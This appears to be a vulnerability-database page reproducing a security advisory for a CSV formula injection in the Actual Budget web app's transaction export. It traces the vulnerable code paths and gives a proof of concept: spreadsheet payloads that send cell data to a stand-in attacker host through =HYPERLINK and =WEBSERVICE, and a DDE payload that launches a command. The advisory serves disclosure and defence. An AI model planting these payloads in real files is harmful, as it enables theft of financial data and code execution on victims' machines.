🛡️ CVE-2026-50179 — web

🟡 CVSS 4.2 — Medium ✅ No Known Exploit CWE-1236 NVD
4.2
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

@actual-app/web has CSV Formula Injection in Transaction Export via Imported Payee/Notes Fields

Summary

exportToCSV and exportQueryToCSV in packages/loot-core/src/server/transactions/export/export-to-csv.ts pass user-controlled Payee, Notes, Account, and Category strings to csv-stringify with no cast callback and no formula-prefix neutralization. Strings that begin with =, +, -, @, tab, or carriage return survive verbatim into the exported CSV. When the victim (or anyone they share the export with) opens the file in Excel, LibreOffice Calc, or Google Sheets, the strings are interpreted as formulas. =HYPERLINK("http://attacker/?leak="&B2,"Bank refund") is the most reliable variant: it renders as a clickable link with benign text and exfiltrates adjacent cells (transaction amount, account name, payee, balance) on click, with no security prompt in modern Excel/Sheets. =WEBSERVICE/=IMPORTXML provide auto-firing exfil in some configurations; legacy DDE may achieve RCE on older Excel.

Details

Sink — packages/loot-core/src/server/transactions/export/export-to-csv.ts:56:

```ts

return csvStringify(transactionsForExport, { header: true });

```

and the same call again at export-to-csv.ts:131 for exportQueryToCSV. csv-stringify v6 does not neutralize formula-trigger characters by default; only quote/comma/CRLF escaping is applied. There is no shared wrapper — grep for csvStringify finds exactly one source file across the monorepo.

Source of attacker-controlled Payee/Notes:

  • packages/loot-core/src/server/transactions/import/parse-file.ts:77 dispatches uploaded files to parseCSV (:109), parseOFX (:200), parseQIF (:158), parseCAMT (:250). None of them strip or escape formula prefixes from payee_name/imported_payee/notes.
  • For OFX, mapOfxTransaction in packages/loot-core/src/server/transactions/import/ofx2json.ts only runs html2Plain (HTML entity decoding) on the NAME field — =, +, -, @, \t are untouched.
  • sync.normalizeTransactions (packages/loot-core/src/server/transactions/sync.ts) applies title() casing, which only mutates letters via String.toLowerCase; non-letter prefix characters are preserved, and Excel formulas are case-insensitive (=hyperlink(...) parses identically to =HYPERLINK(...)).
  • The payee can also be entered directly through the UI or set via the @actual-app/api's payee/transaction CRUD endpoints — anyone with write access to a shared budget can plant the payload.

Verification that csv-stringify does not neutralize formulas:

```

$ node -e "const{stringify}=require('csv-stringify/sync');console.log(stringify([{Payee:'=HYPERLINK(\"http://x/?\"&B2,\"refund\")'}],{header:true}))"

Payee

"=HYPERLINK(""http://x/?""&B2,""refund"")"

```

The double-quote escaping is intact, but the leading = is not prefixed with ' or otherwise neutralized — Excel, LibreOffice Calc, and Google Sheets will all evaluate this as a formula on open.

PoC

1. Attacker delivers a malicious file the victim is willing to import (fake bank OFX statement, shared budget file, expense-tracking CSV from a collaborator). Example malicious CSV the victim drops into "Import file":

```

Date,Payee,Amount

2026-01-01,"=HYPERLINK(""http://attacker.evil/leak?d=""&B2&C2,""Bank refund details"")",100.00

2026-01-02,"@SUM(1+1)*cmd|'/c calc'!A0",50.00

2026-01-03,"+1+1",-25.00

2026-01-04,"=WEBSERVICE(""http://attacker.evil/?d=""&B2)",10.00

```

2. Victim imports through Account → Import file. parseFile (parse-file.ts:77) → parseCSV/parseOFX/parseQIF/parseCAMT returns rows with the formula strings preserved as payee_name. sync.normalizeTransactions does not strip the prefix characters.

3. Payees are persisted into the payees table verbatim.

4. Some time later the victim runs Account → menu → Export. transactions-export-query invokes exportQueryToCSV (export-to-csv.ts:131).

5. The exported file looks like (verified output shape from csvStringify):

```

Account,Date,Payee,Notes,Category_Group,Category,Amount,Split_Amount,Cleared

Checking,2026-01-01,"=HYPERLINK(""http://attacker.evil/leak?d=""&B2&C2,""Bank refund details"")",,,,100.00,0,Not cleared

Checking,2026-01-02,@SUM(1+1)*cmd|'/c calc'!A0,,,,50.00,0,Not cleared

Checking,2026-01-03,+1+1,,,,-25.00,0,Not cleared

Checking,2026-01-04,"=WEBSERVICE(""http://attacker.evil/?d=""&B2)",,,,10.00,0,Not cleared

```

6. Victim or downstream recipient (accountant, spouse, tax preparer) opens the CSV in Excel/LibreOffice/Sheets. =HYPERLINK(...) renders as a clickable link that exfiltrates adjacent cell values to attacker on click; =WEBSERVICE/=IMPORTXML (Sheets/LibreOffice) fire automatically; legacy =cmd|... DDE may execute on unpatched Excel.

Impact

  • Confidentiality: Adjacent transaction data (amounts, account names, balances, payees, categories) can be exfiltrated to attacker-controlled URLs through =HYPERLINK clicks or auto-firing =WEBSERVICE/

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is high, an attacker needs no privileges on the target. A user must be tricked into taking some action. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality low, integrity low, availability none.

Weakness class

CVE-2026-50179 is classified as CWE-1236: Improper Neutralization of Formula Elements in a CSV File. Exported values are not neutralised, so a spreadsheet may treat them as formulas when opened.

Affected software

CVE-2026-50179 is recorded against 2 packages.

  • @actual-app/web
  • unknown

Timeline and source

Published on 22 June 2026 and last revised on 23 June 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com (Web)
github.com (Package)

Details

Severity Medium
CVSS Score 4.2
CVSS Vector CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N
CWE CWE-1236
Public Exploit ✅ No
Source NVD
Published 2026-06-22
Updated 2026-08-12
Modified 2026-06-23
Fix URL N/A

Affected Packages

Software From version Fixed in
@actual-app/web
unknown

Vulnerability Monitoring

Track new vulnerabilities in web

CVE-2026-50179 is rated CVSS 4.2 Medium. BotEraser monitors your WordPress installation and notifies you when software you use appears in our vulnerability database.

Set Up Free Alerts →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.